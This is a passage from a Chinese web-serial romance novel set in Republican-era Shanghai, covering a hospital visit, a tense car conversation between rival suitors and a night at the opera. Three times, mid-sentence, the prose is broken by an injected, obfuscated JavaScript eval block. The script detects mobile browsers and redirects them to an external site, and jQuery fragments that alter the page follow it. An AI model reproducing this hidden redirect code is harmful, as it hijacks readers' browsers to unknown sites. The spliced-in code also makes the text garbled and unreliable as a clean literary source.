—————————————————————— 圣约翰医院在另一个街区,果然在黑漆漆的一片建筑里,还有一栋楼亮着电灯,它是整个沪城唯一一所引进了X光机的医院,袁闵礼办完手续,扶着方绍伦往三楼走。 “慢点,慢点,脚疼。”打斗中方绍伦被踹了一脚,开始还不觉得,这会倒是疼起来了,他一瘸一拐的,袁闵礼几乎是半搂着他。 便在此时,医院楼梯的隔间里走出一抹高大的身影,身后跟着赵武,手上擎着一个薄壳木箱,目光在箱子里的东西上流连。 跟在他身后的赵武倒是看见了,低声道,“三爷,那好像是大少爷和……袁二公子。” 张定坤原本喜悦抬头,却刚好看到那两个亲密相携的背影,面庞上欢喜的神色瞬间就消失了,大步走到导诊台,问夜班护士,“他们,”他指了指那两个背影,“是去几楼?” 小姑娘大概只有十七八岁,乍然看见这尊铁塔似的人物,一脸寒霜的凝视着她,不由得抖了抖,自然是问什么答什么,“三……三楼。” “三楼是什么科室?” “肛肠科。” 张定坤目龇欲裂,随手将手里的箱子抛给身后的侍从,大踏步追了上去。 这人走开,小姑娘才缓了口气,忽闪着大眼睛在那里补充,“……还有个X光机室。”可惜怒火熊熊的某人已经听不到了。 张定坤踢踢踏踏一阵风似的,在二楼到三楼的转角处赶上了两道身影,劈手从中间钻过,一把搂住方绍伦的肩膀,低吼道:“你们两个是干了什么……” 方绍伦裹着右手掌的开司米围巾被带得掉落在地上,露出血迹斑斑的手背。 张定坤的怒吼卡在喉间,然后十分顺畅的转化为担忧,“啧啧啧……这是怎么搞的绍伦?哪个王八犊子伤到你了?这好好的……好好的……”他一脸心疼的表情,举起那只手,朝伤口吹着气。 方绍伦和袁闵礼面面相觑,袁闵礼捏紧手指退开半步。 方绍伦被突然间冒出来的身影吓了一跳,完好的那只手掌把他推开,“张三?你怎么在这里?”张定坤西行收账,此时应该在土司部落才对。 “唉,我受了点伤,”张定坤捂了捂腰间,“所以径直往沪城来了,多亏送医及时,才脱离了生命危险。” 他当然不会招供,是知道方绍伦来了沪城,再加上还有点私事要办理,才命赵文带着收回来的银钱回月城,而自己带着赵武绕道沪城的。 方绍伦狐疑的扫了他周身一眼,这厮今日穿了一袭对襟长衫,披着一件样式十分别致的斗篷,光鲜亮丽的模样哪里是受伤的样子? 张定坤似知道他的怀疑,掀起长衫的边裾,竟然真的露出一角包扎的痕迹。 他放下长衫,十分自然的重新挽起方绍伦胳膊,“先不管我,先看你这手吧,啧啧啧,怎么搞的,好好的一双手……” 他搂着方绍伦往上走,皮鞋在那条开司米围巾上踩过,“快快快,这右手可是要紧,你又不是左撇子,赶紧看看,刀可特……”他肆无忌惮的吆喝着。 方绍伦见他确实受了伤,又听他说起手,自然回想起临别前那段荒唐事,略有点心虚,挣不开束缚,被裹挟着推进了X光室。 袁闵礼捡起地上那条被踩了一只脚印的围巾,攥紧了,眼眸深处一片冰冷。 片刻之后,他回过身,跟随着走进医生办公室,张定坤和方绍伦坐在长椅上等结果。 他走上前,脸上是一贯的温文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14392323|153323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑意,“三爷、绍伦,你们渴不渴?我去弄些热水来。” 方绍伦喊他坐下,“闵礼你别忙活了,快过来坐……” “去给绍伦弄杯牛奶,放热水里烫一烫。”张定坤毫不客气的指使袁闵礼,“再跟赵武说,让他把车开到大楼门口来。” 方绍伦皱眉,“我不饿,闵礼,你不用去。”他转头瞪了张定坤一眼,“张三爷请自便,有闵礼在这就行了。” 张定坤眉毛竖起来,却只冲袁闵礼道,“怎么?爷使唤不动你了?” 袁闵礼笑了笑,转身自去了。 方绍伦看着他背影道,“张三,闵礼不是赵文赵武,他年后就不跟着你跑了,你别这么使唤他。” “心疼了?那也等年后再说。” 方绍伦忍不住问道,“你为何故意磋磨闵礼?实在我们是一块长大的交情。” 张定坤翘着二郎腿,满不在乎的神色,“怎么就叫磋磨了?别往我头上乱安罪名啊。他要跟着我长本事长见识,替我跑腿干活不是应该的吗?” 他坐直身体,目光又落在他手背上,“你还没说你这手怎么弄的?哎,护士,快着点啊!”伸手端起那只手掌细细的瞧,“这像是弹壳擦伤的……跟人干架了?干输了?说出来是谁,爷帮你找回这个场子。” 方绍伦挣了挣,“用不着,管好你自己得了。” 张定坤不肯撒手,兀自捧着那只手掌啧啧概叹,“怎么这么废柴呢?要是留了疤……” 方绍伦使劲抽回手,“留疤怎么了,我一大男人还怕这个。”伤口这会子已经麻木了,连微微的颤抖也止住了。 “这么好看又好用的一双手,要是留了疤,可不是白璧微瑕么,”张定坤低声凑到他耳旁,“你舍得我还舍不得哩。” “滚!”方绍伦这声驱赶气势有些不足,先是跳舞,后又跟人干架,折腾到这个点,他着实有些疲累了,懒得再跟他打嘴皮子仗,向后靠在长椅背上,微微合上眼。 张定坤觑着他合上的眼睑,不动声色的移过去一点,低声道,“没事,留疤也不怕,我认识个调制膏药的大夫,让她给你调个祛疤膏,”他偷偷将右手伸过椅背,想将人揽在怀里,“绍伦你困了吧?歇一会……” 方绍伦睁开眼睛,坐直身体,“拿开你的手!” 张定坤满脸无辜,“我这不是看你太累了吗?咱们兄弟之间,借个肩膀给你靠靠怎么了?” 方绍伦待要斥他两句,护士小姐已经端了消毒盘过来,酒精淋在伤口上,麻木的痛觉瞬间复苏,他不自觉的咬紧嘴唇。 张定坤简直是瞬移过来,一只手趁势搂上他的腰间,一只手攥住受伤的手掌,一叠声道,“没事没事,忍忍就好,啊。” 方绍伦气结,谁要他在这里哄孩子似的!但是当着两个护士小姐的面他有些抹不下脸,两个小姑娘笑嘻嘻的看着他俩,动作轻柔的清洗伤口、消毒上药。 穿着白大褂,已经微微秃顶的约翰逊医生举着X光片过来,温声道,“万幸没有伤到神经,彻底清洁伤口,涂抹药剂,保持干燥。我们引进了最新研发的破伤风疫苗,可以考虑注射,只是价格比较贵。”他在华国多年,汉语很流利。 方绍伦还没答话,张定坤已经开口,“那赶紧的,刀可特,给他打一针,打那个疫苗。” “破个皮而已,哪里用得着打针……” 袁闵礼端着玻璃瓶子装着的热牛奶走了过来,笑道,“绍伦你都这么大了,还怕打针吗?打吧,放心些。”他将牛奶瓶拧开盖子,递给方绍伦,“赶紧趁热喝。” 折腾到这个点,确实有些饿了,方绍伦接过牛奶瓶“咕咚”了几口,嘴唇瞬间沾上了一圈奶渍。 医生举着注射器走过来,示意他解开皮带,很直接的拉开他半边裤子,臀上的一弯雪白和唇上的一圈雪白,落入了两个有心人眼里。 两人对视一眼,张定坤的目光有如鹰隼,袁闵礼转过了头。 16. 第 16 章 一台车坐四个人回去其实刚刚好,但上车前张定坤又打发赵武坐黄包车,“你先回公寓,让厨房烧热水,我等会回来要痛痛快快的洗个澡。这阵子真是沤坏了。” 于是袁闵礼开车,张定坤和方绍伦坐在后车厢。他掀开斗篷,往衣领腋下嗅了嗅,却又往方绍伦的方向靠了靠。 原本不想当着闵礼的面下他面子,但他一再移动,方绍伦忍无可忍,打着绷带的右手掌挥了挥,“你都知道臭了,赶紧的,坐过去点。” 其实没什么气味,但这人属狗皮的,有膏药属性,方绍伦就坡赶狗。 结果反倒被张定坤趁机捉住手掌,“别动,别动,大少爷,你这手最近都不能碰水,就阿良一个只怕照顾不周,不如搬去我那里吧。” 方绍伦斜他一眼,“你哪里?和平?礼查?”比美东饭店更阔气、更能摆谱的也就那两家了。 张定坤在方绍伦面前一向不作伪,显出一脸得意的神情来,“酒店搬来搬去的有什么意思?前两年,美国的一个传教士在复兴中路建了一幢顶排场的公寓楼,我买了一层,弄的西式装修,大少爷保准喜欢。回头到饭店,让袁敬上去给你拿行李?” “哟,张三爷置办产业不说,手面还挺大,一买买一层?果然今非昔比。”方绍伦忍不住要刺一刺他,故意“啧啧”感慨着。 可张三皮太厚,非但刺不到,反引来一番慷慨陈词,“都是托老爷子的洪福,张三是无根飘萍,哪里快活就往哪里托身。这不是想着咱们西南的人到沪城来也多个落脚地嘛,怎么样?大少爷先去审核审核?” 方家在沪城有不少铺面,但不曾置房产,方学群一向以月城为根基,家族观念极重,方绍伦到沪城来都只能住饭店。 张定坤当袁闵礼不存在一般,言语轻浮,一双眼睛不断在他面上、身上梭巡。 “不必。”方绍伦恼怒的瞪他一眼,“我们不日就要返回月城,搬来搬去反倒麻烦,三爷的好意心领了。” 张定坤还不肯罢休,满脸热切,“我不过盘桓一两日也要回去向老爷子复命,到时候一块走岂不便宜……” 美东饭店已然在望,下了车,方绍伦让袁闵礼先上去,“你去休息,我跟张三……爷还有几句话要说。” 此时晨曦已微明,正适合打开天窗说亮话。寒风扫荡着街角的落叶,早餐店下铺板的“怦怦”声此起彼伏。 袁闵礼看了方绍伦一眼,欲言又止的,到底还是先上去了。 张定坤极不满意他临走时的神情,冲背影冷冷睨了一眼,转头朝方绍伦道,“你看看你这手伤的!这袁敬也是无用得很,都不知道护着你。” 方绍伦总觉得张三的脑回路有些不同常人,诧异道,“我为什么要他护着?我好歹还念了三年士官学校,该我护着他才是。” 他不明白他在张定坤的心目中是高高在上的,谁都该护着他、敬着他。 张定坤听他说要护着袁闵礼,更是不高兴,皱眉撇嘴,“你充什么英雄呢?自个都护不好!三个英国水鬼就将你搞得这样狼狈!” 在医院里,张定坤百般打探,方绍伦大概的说了一下事情的原委。 听他出言贬低,方大少爷顿时忘了是要“说亮话”,忿忿的甩手,“什么叫充英雄?他们仨手上可有家伙哩,我和闵礼赤手空拳……” “哟,还委屈呐?”张定坤拉开车门,“上车吧!” “去哪?”方绍伦不明所以。 张定坤钻进驾驶室,探头出来道,“不去看看扫尾扫干净没有?” 方绍伦其实也记挂着这事,当时他俩跟那三个醉鬼一通混战,把那仨砸晕了事,情况紧急,下手哪管轻重?也不知道有没有闹出人命来。 他上了车,嘟囔道,“闵礼在的时候你又不说这事。” “用得着他?”张定坤一脸不屑,将车子打着火,一溜烟的按着方绍伦说的位置开了过去。 清晨的小巷口空无一人,方绍伦来回辨认了几遭,是这个地没错,但地上毫无踪迹。 张定坤跟他一块下车瞅了瞅,在巷子中间发现了一点墙壁上残留的血迹,还有个弹壳印记。 当时那施虐的英国士兵拔枪射击,子弹擦过方绍伦手背,弹射到墙上。 “估计是清醒过来,走人了。走,此地不宜久留。”张定坤推着他上了车,一路教训,“下次这种事做干净点,万一这几个水鬼记得你,哪天在街上认出来,你没提防就着了他们的道。” “什么叫做干净点?” 张定坤做了个抹脖子的动作,又续道,“往黄浦江里一丢,神不知鬼不觉。” 方绍伦愣住,“强|奸未遂,罪不至死吧?!” “方大善人你还讲这个?!”张定坤冷笑,“这些洋鬼子在咱们地界上干了多少坏事?还用得着跟他们讲客气?!那小姑娘要不是碰上你们,被祸害死都不一定!” 他突然瞄了自己双腿之间一眼,“据说洋人那玩意儿都跟我长得差不多,多遭罪呐!” 他用那种“你清楚”的眼神瞄了方绍伦一眼,大少爷恨不得劈死他! 张定坤还在喋喋不休,“就你这心慈手软的还想去投军?趁早的麻溜的搁家里头!好多着哩!” 方绍伦气结,却又不得不承认张定坤这话有那么点道理,非常时期行非常手段,仁慈也要看对什么人。他一心想要投军,何尝不是因为亲眼所见神州大地外獠猖獗奸佞横行呢? 张定坤瞄见他面色不愉,又转过头来哄,“我知道你向来心软,都是跟着你的人不顶事。”这人时刻不忘踩袁闵礼两脚。 车开到美东饭店门口,他闹着要去帮他拿行礼,“上我那住两天吧,我亲自伺候你,保管把你伺候得服服帖帖。怎么样?” 他原本就是贴身伺候大少爷的人,想让他住得舒坦些,又觉得长柳书寓一晤,二人亲密至此,关系应较以往不同才是。 但方绍伦显然不作此想。 看着他略显雀跃的眉眼,他记起要打开天窗说的亮话来,摆手示意他不必下车,低声道,“张三,你把车熄火,我有话跟你说。” 张定坤一听他的声气,就知道没好话,把车熄了火,懒洋洋往椅背上一躺,“大少爷有什么训示?请讲。” 方绍伦轻咳一声,“张三,你别白费心思了昂。这次,我爹让我来沪城,是准备结亲的。你年纪也不小了,比我还大几岁哩,很该找个合适的姑娘了。往后彼此都放尊重些,没得让人看笑话。你懂我的意思了?” 他漆黑的眸子睨了他一眼,惊鸿一瞥,却比天上即将落幕的星子还要闪亮些。 张定坤“哼哼”笑了两声,从烟盒子里抽出一根烟来,叼到嘴里,漫不经心道,“我什么心思你又知道了?” 唇嘴勾起一抹淡笑,乜他一眼,“结亲?这事你就不要想了,我张三把话放这,你跟谁家的姑娘也成不了。”他是漫不经心却又无比笃定的口气。 “你他妈听不懂人话是不是?!”方绍伦有些气恼,却又觉得动怒就落了下风,勉力平息了怒火,淡声道,“你盯着我祸害干什么,爷不好这口,戏园子里头多有爱这事的,便是长三堂子也有小倌馆,多的是知情识趣体意人儿,您尽管闹腾去。” 他郑重其事的发出警告,“这是我最后一次知会你,若再有之前那种行径……挨骂挨打挨枪子可别怪没人跟你打招呼!” 张三向来脸皮厚,如今越发的不要脸面了,当着袁闵礼的面就敢窝三调四、动手动脚,他是得跟他掰扯清楚了。 张定坤浑然不将他的恐吓放在眼里,仍是一副调笑的口吻,“哟,戏园子小倌馆都知道了?到底是留洋回来涨见识了!唉……” 他愁眉苦脸的样子,“我倒不是没去瞧过,可瞧来瞧去,硬是没有一个能跟大少爷比的,连提鞋都不配!你说这细面馒头吃惯了,哪里还咽的下粗糠麸子?” 方绍伦语结,“你你……哪里就吃惯了?” 他生怕他真说出那些怎么吃在哪里吃的事来,反正他的警告已经送达,往后也会持身自重,赶紧转了话题,“总之你理会得就行了!我再跟你说说闵礼的事,你比他大几岁呐就袁敬来袁敬去的?你心里也清楚,不是他非得跟在你身边碍眼,往后少使唤磋磨人……” 他一提袁闵礼,张三笑嘻嘻的神情便收起来了,冷声道,“大少爷,您要说这事,张某可就不得不问一句了,”他长眉挑了挑,“您是以什么身份来跟我说这话呢?若说公司里头的职位,大少爷不比我高一级。若论身份尊卑,张某如今也不是大少爷的仆婢。除非……” 他凑近了些,在他耳边低声道,“除非是我的房里人,这么耳提面命的,情深火热间色令智昏,指不定我也就听了……” 方绍伦愣住,说不通就不用废话了,抬脚走人,右手去推车门,浑然忘了手上还捆着纱布。 张定坤眼疾手快,横身过来帮他把车门推开了一道缝,冷风灌进来,他却抵着那门,不肯松手。 半个身子靠在车架上,与方绍伦胸膛之间不过一拳之隔,二人呼吸相闻,彼此都是一怔,张定坤身上那种烟草的气息瞬间就弥漫开来。 方绍伦只觉得心跳莫名有些激烈,他不让开,他就出不去,不由得羞恼道,“你干什么?起开!” 张定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14392324|153323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坤并未趁机靠近他,却伸手捂了一下腹部,垂下眼帘,低声道,“绍伦,我这次真的差点没命。弹片滑过这里,我当时以为中枪了,脑海里只有一个念头,”他抬起一双狼眸凝视着方绍伦,跟要把他吸进眼底似的,“如果我死了,你会不会也有那么一点伤心难过呢?” 他见好就收,说完这一句,移开了身体。 方绍伦不怕他耍横,这么柔情缱绻的却有些招架不住,浑身的鸡皮疙瘩都冒了出来,推开车门,“噔噔噔”的跑掉了。 饭店二楼窗帘后,一道窥探的目光随着他的身影消失不见。 —————————————————————— 方绍伦一直睡到午后两三点才起床,年轻就是好,打了一架,又受伤又熬夜,饱饱的睡上一觉,就精神满满了。 吃了一碗鸡丝小面,又吩咐阿良帮他倒洗澡水,他整个右手掌都包扎了,不好沾水,只能浴桶里泡一泡,让阿良帮他擦了擦肩背。 袁闵礼要抢这活计,方绍伦不肯,“我在东瀛也不让阿良帮我干这些,这是没法子,哪能还让你伺候。” 他劝不动张定坤,转而安慰袁闵礼,“张三这人就爱耍威风摆排场,亏得你脾气好不跟他计较。年后等棉纱厂建起来,你就不必再跟着他东奔西跑了。” 他丝毫没有注意到,他这个语气虽是帮着袁闵礼说话,实则对张定坤也有一丝有别于常人的亲昵。 袁闵礼眸光暗了暗,浅笑道,“我倒愿意跟着三爷跑哩,多少涨些见识。至于使唤,无非是些跑腿的杂事,也没什么。人到今天这位置也不容易,还不许人抖抖派头了?那好比锦衣夜行,千丈高的功勋也打了折扣不是。” “你这个促狭鬼。”方绍伦听出他语气里的讽刺,系紧睡袍带子,笑着摇摇头,“昨天那位沈姑娘怎么样了?” “家去了,颖琳送了两件衣裳给她,又给她付了黄包车费。”袁闵礼比他起得早些,早安排妥帖了。 “我四处转了转,没听到什么风声,那几个水鬼大概也自知理亏,没什么职级,想来翻不起什么风浪。沈小姐说他们喝醉了脸盲得很,就跟我们看外国人都长得差不多一样。何况也不是冲着她去的,无非运气不好碰上了,往后她会小心些。” 方绍伦叹口气,“那就好。” 舞小姐几乎个个都身世堪怜,对华国女性来说,若有得选,谁愿意这般抛头露面,任人揩油呢?像白慧玲那种毕竟是少数。 世道如此,他也无可奈何。 阿良“噔噔噔”的跑上楼梯,手里拿着封拜帖,“大少爷,约你去跑马哩。”阿良认字不多,但跑马等简单的字还是识得的。 方绍伦接过来一看,果然是郭三公子约他去郊外跑马,他如今伤了右手,哪里勒得了缰绳?只好挂个电话去郭公馆。 郭冠邦听他说伤了手,连连惋惜,“能结识绍伦兄这般人物,正想多亲近亲近,如何就伤到手了?” 方绍伦当然不能说实话,“剃须刀忘了收起来,泡完澡地滑,正好磕到了。不能陪冠邦兄畅快一游也是憾事,家下事多明日就要返程,只好等下次冠邦兄来月城,再尽地主之谊了。” “别别,”郭冠邦在电话中热切的邀约,“绍伦难得来一次沪城,就这么带伤而返,郭某怎么过意得去。正好北边来的言家班在静安寺路唱堂会,今晚有夜戏,言班主亲自唱《贵妃醉酒》和《三娘教子》,跑马便不去了,请绍伦兄吃饭看戏如何?还请千万赏脸。” 方绍伦再三推辞,郭冠邦言辞恳切,实在推脱不得,再加上言班主这两出戏是有名的叫好叫座,他也有点心痒痒。 于是应下来道,“我这伤的右手,吃饭多有不便,倒是看戏还不碍事。” 郭冠邦便约了七点钟来接他。只是从头到尾,只字未提让袁闵礼作陪。 方绍伦倒也不是完全不懂得这人情世故,郭冠邦不主动邀约,就算方绍伦提了,他再请,袁闵礼也会觉得没面子。 他放下话筒有些愀然不乐。袁家如日中天之时,哪家宴请会落下袁家公子呢?如今家道中落,便要受此薄待,这人情世故懂了也没什么意思。 袁闵礼十分了解他,反过来劝慰,“言家班的旦角雍容但唱腔不如四喜班的华丽,我听过好几场了。你去听听,看我说错没有?魏家两位小姐要跟我们一块回月城,我还得打点一下票务,且有的是事呢。” 方绍伦向魏司令提了邀请两位小姐去月城做客的事,得到首肯后,再由方颖琳出面邀请两位小姐,沪城这些千金们每日都是些旧消遣,很愿意到新地方去找找乐子,于是定下了明日一同出发回月城。 17. 第 17 章 电灯没有普及以前,看戏只能是白天。如今沪城各大戏园子都装了照明灯,夜戏便多了起来。 夏令配克大戏院是去年由匈牙利设计师设计建造的,老板是英国人,是如今沪城第一豪华的戏院了。两层的西式建筑,金光闪闪的大招牌隔着车窗老远就能看见。 郭冠邦与方绍伦一同坐在小汽车后座,看着闪烁的霓虹和拥挤的人群,笑道,“只要是言老板亲自登台,戏票前一日就抢光了,沪城爱听他这一嗓子的也多,只是闹腾了些,还要请绍伦多担待。” 他今日一身派克呢西服,下车侍从给他披上狐狸毛领的大氅,刨花水将整头黑发都梳向脑后,露出光洁额头,翩翩富家公子哥的打扮。 方绍伦忙摆摆未曾受伤的左手,“我还是沾了郭兄的光才有此耳福,听说言老板唱杨贵妃唱王春娥都是极好的。我自东瀛回来,还是头一回来戏院听戏。” 他出门时阿良也要帮他梳刨花水,他嫌伤了手清洗麻烦,便没有梳,散着一头黑发,西服外套了件黑色大衣,脖子上挂着格纹的羊绒围巾,是极随意日常的装扮。 郭冠邦跟他一照面,便觉得到底是要小上几岁的人,这面皮都要嫩上许多,白净的跟能掐出水似的。 侍从引着他们穿过拥挤人群,上了昏暗楼道,顺着长长走廊进了二楼正中的包厢,戏台离地近一米,坐正对着的二楼,视线极好。 且此时的戏剧表演,不使用音响设备,纯靠肉嗓,声波往上传,二楼听得更为清晰。 方绍伦一落座,目光便集中到了装饰华丽的戏台之上,因第一出便是唱《贵妃醉酒》,舞台是华丽的宫廷布景,金色龙纹和红色帷幔营造出唐代宫廷的富丽堂皇。 打完三通,喧嚣拥挤的人群渐渐安静下来。一阵二胡三弦鼓板的敲击声中,杨贵妃头戴凤冠身披彩衣在侍女们的簇拥下摇摇摆摆登场,全场顿时爆发出热烈的掌声。 言老板一亮嗓子:海岛冰轮初转腾,见玉兔,玉兔又早东升……掌声雷动,叫好声不断。 言老板的唱腔婉转悠扬,身姿优美,方绍伦听得如痴如醉,等到中段,实在忍不住手指磕在茶几上,二郎腿一抖一抖的,跟着小声吟唱。 方学群也爱听戏,五十大寿的时候还请了北边著名的喜德班到月城连唱了半个月,正好方绍伦暑假在家,几乎场场不落,几出有名的戏唱词背得滚瓜烂熟。 所以郭冠邦约他吃饭,对他来讲没甚吸引力。但约他听戏,他就有些按捺不住了。在东瀛三年,去哪里听这样好的戏?几张唱片来来回回的放,都磨出花来了。 郭冠邦是梨园常客,自然不觉得这听戏的机会十分金贵,反倒趁方绍伦醉心听戏,借着戏台流光,不动声色的打量起身畔的人来。 越看越觉得,哪哪都长得合心合意,正面脸庞好看的男女,郭冠邦见得不少,侧颜这么俊秀的,方绍伦可算第一人。 整个头型圆润饱满,每一处线条都流畅自然,鼻梁如山峦般起伏却不显突兀,便是不笑唇角也微微上翘,下颌一道流利的弧线蔓延至耳廓。 方绍伦浑然不觉身畔贪婪注视的目光,他眼睛看着台上,左手伸向一旁茶几上的果脯盘。 郭冠邦心头一动,目光转向戏台的方向,右手跟着伸了过去,如愿按到一抹微凉的柔腻,他恍若未察,指尖微一摩挲,细细品味了一番质地,才转头道,“哟,失礼失礼。”又把盛着果脯的白瓷盘往方绍伦面前递了递。 方绍伦倒不觉有异,他一心记挂着台上的戏,道了声“无妨”,拈了一块果脯放嘴里,唇间嚼动着,眼睛又转回了台上。 他的唇形比之一般男子,要略显丰盈些,但又不厚重,鼓动间就跟嘬唇亲吻一般,郭冠邦瞄得心头发痒,只是方绍伦可不是优伶小倌,急切不得,还得徐徐图之。 正好《贵妃醉酒》这一出戏唱完,中场休息,侍从带了两抹身影缓步上楼来。 一个穿旗袍的中年妇人,先言笑晏晏的跟方绍伦打了声招呼施了个礼,又转向郭冠邦,很是恭敬感激的递上手上的一摞单子并一只拧开的水笔,“打扰三爷的雅兴了,只是年年都等着这笔款子给孩子们裁冬衣,去公馆两回您都不在,只好追到这儿来了。还请您原宥一二。” 郭冠邦显然并不介意,接过水笔在那摞单子上龙飞凤舞的划下大名,又道,“今日陪客不便多聊,改日再去局里探访,还请务必上心些,今年据说是个冷冬哩。” “您放心,有您的善心护佑,必定让他们吃饱穿暖,绝不敢敷衍欺瞒。” 中年妇女带着身侧的小丫头千恩万谢的走了,方绍伦奇道,“是来找郭兄捐资的么?” 郭冠邦却并不多描摹,只答了一句,“慈幼局的,一天到晚四处拉赞助。”似乎是不太耐烦应付的口气,但言语结合举动,外冷内热的慈善形象顷刻竖立起来。 方绍伦富贵里出身,又留洋海外,心性未免单纯了些,见郭冠邦面相温和,又行此善事,相识的起因以及他没有邀请袁闵礼所生出的那点子介怀便渐渐消散了,语气转为热络的攀谈起来,话题不免转到白慧玲身上。 “今日怎么不见白小姐来看戏?”他来之前以为白慧玲会在座,倒不想就他们两个。 “她今日要在美东登场。”郭冠邦面庞上闪过一丝郁卒,一副无可奈何的口气。 方绍伦便也多问了一句,“看样子,郭兄也是不愿白小姐去那等场合?”偶尔去跳个舞娱乐消遣是一回事,挂牌登台又是另一回事了。 郭冠邦点头,“不瞒绍伦,我自然是不愿意的,奈何慧玲是个主意大的。”他叹着气,摆出极烦恼的神情来。 方绍伦讶然,大抵女子下海当舞小姐都是有些不情愿的,闵礼上回说白慧玲求的并非一个安身立命之所,却不知所求为何? 那晚在包厢里对着郭冠邦极温柔娇媚,还帮他挡酒,看着又不像是无情意的样子。 郭冠邦凑到方绍伦耳旁,低声道,“绍伦也不是外人,我也无需遮掩。我对慧玲当真一片赤诚,只是我在定城早有妻室,父母之命媒妁之言。慧玲不愿为妾,确实也是委屈了她。” 他年纪与张定坤差不多,早有妻室不稀奇,而白慧玲不愿为妾,方绍伦也可以理解,叹道,“白小姐出身不凡,素性高傲,不愿为妾也在情理之中。” 他皱眉思忖道,“她又家逢巨变,郭兄若能悉心相护,想必也能令美人宽怀。” 郭冠邦点头,“我自然是愿意护她,只是绍伦也知道,如今世上的事总要讲究个名分。沪城这么大个场子,慧玲的模样才情又是顶好的,倘若我一时失察……” 方绍伦懂他未竟的意思,交际花的名声比之舞小姐又要更坏上一层,跟人尽可夫差不多同义了。 他不由得偏过头,“女孩子的心思我最不会猜了。” 郭冠邦哪里是要他帮忙猜白慧玲的心思呢,不过借着这等子掏心掏肺的话拉近彼此间距离罢了,他这会上半身紧贴向方绍伦那边,果然对方并没有觉得突兀的避开。 他弯了弯唇角,“我也猜不到她心中所想,不过,即便没有夫妻缘分,我也自当尽我所能护她周全。” 方绍伦冲他赞许的点点头。 台上锣鼓喧天,《三娘教子》开场,他的目光重又凝聚在戏台之上。不消片刻,仍旧是指尖轻磕,低声吟唱。 郭冠邦竖起耳朵屏蔽掉戏台上传来的亮嗓,只听自身畔发出的声音,清丽圆融,便趁台上念白的功夫,低声道,“看样子绍伦是票友,我听你这唱腔比言老板下边几个徒弟也不差什么。” 他若是直接拿他比言老板那是取笑,比言老板的徒弟可就是一等一的恭维话了。 方绍伦顿觉脸红,“郭兄笑话了,家父也爱听戏,我跟着听得多了就会哼几句。” “哎……”郭冠邦还待再恭维几句,然后约他散了戏去后台见见言老板,他也趁机多个亲香的机会,楼道里却传来皮鞋磕地的脆响, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14392325|153323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一路“咚咚咚”径直往包厢这边来了。 他不由得皱眉,实在吩咐了侍从,那出戏唱罢,之后的闲杂人等一律不要放上来。 但是走廊尽头出现的高大身影令他不得不松开眉头,展露一个笑脸,“定坤兄,哈,什么风把你吹来了?” 方绍伦探头看去,张定坤的身影顺着长廊大踏步而来。 他今日身后没有跟着那两个门神,也没有披斗篷大氅,但龙行虎步,倒比那戏台上插了花翎的主角还来得煊赫。 一个人走出了千军万马的气势。 郭冠邦快走两步迎上去把住他的臂膀,“什么时候到的沪城?也不挂个电话让我请你吃饭。” 走近了细看,这厮又换了件新时装。 一件毛领皮大衣,方绍伦昨日才在报纸上瞥见电影明星穿着的,张定坤今日便穿上了身,而且他个高,倒比那电影明星还更适合这件衣服,皮草么当然是越狂野霸气越能驾驭得住。 方绍伦是不太在意衣着装扮的,但在这两只花孔雀面前,也稍显迟钝的发觉,自己被硬生生衬托成了灰麻雀。 张定坤十分亲热的拍打着郭冠邦的肩膀,“我今儿才到,可不就是挂电话去郭公馆才知道你来这了么,我还道你陪谁看戏呢,原来是我们方家大少爷。绍伦,”他转向方绍伦,语气亲昵,“这可是我拜把子的好兄弟,你到了沪城尽管打电话给他,看我面子,高低也得招待你两顿饭。” 哪里就非得看你面子了?咋这么会给自己脸上贴金呢?尤其这话里还透着十足的亲热,昨晚,不,今早才跟他打开天窗说亮话,隔了个白天,他又故态重萌的在外人面前言语轻浮。 方绍伦于是颌首笑道,“张三爷说笑了,郭兄是再淳厚不过的人了,不必看谁的面子,今日就要请我吃饭来着,可惜我手受了点轻伤,”他举了举包裹的右手,“执筷不便,没这个口福。” 他称张三爷,却喊郭兄,亲疏立现。 张定坤扬起的眉毛落了下来,郭冠邦仿若不觉,温声笑道,“等绍伦下次再来沪城,这一顿可一定要补回来。” 三人寒暄拉扯一番,便坐下一同看戏。前沿刚好三张太师椅,方绍伦居中,郭冠邦和张定坤分居左右。 侍从在张定坤那边的茶几上重新上了一桌茶点,他很是闲适自在的听戏吃喝起来,原本安静的包厢因为他的加入立马就热闹了,瓜子花生被他搓得噼啪作响,啜饮茶水也跟喝酒似的发出点呼啰声,方绍伦皱了下眉,这厮什么时候变这么粗鲁了? 他越发不想搭理这人,正好郭冠邦越过小方几跟他低声说话,他便索性偏过半边身子,只对着郭冠邦的方向。 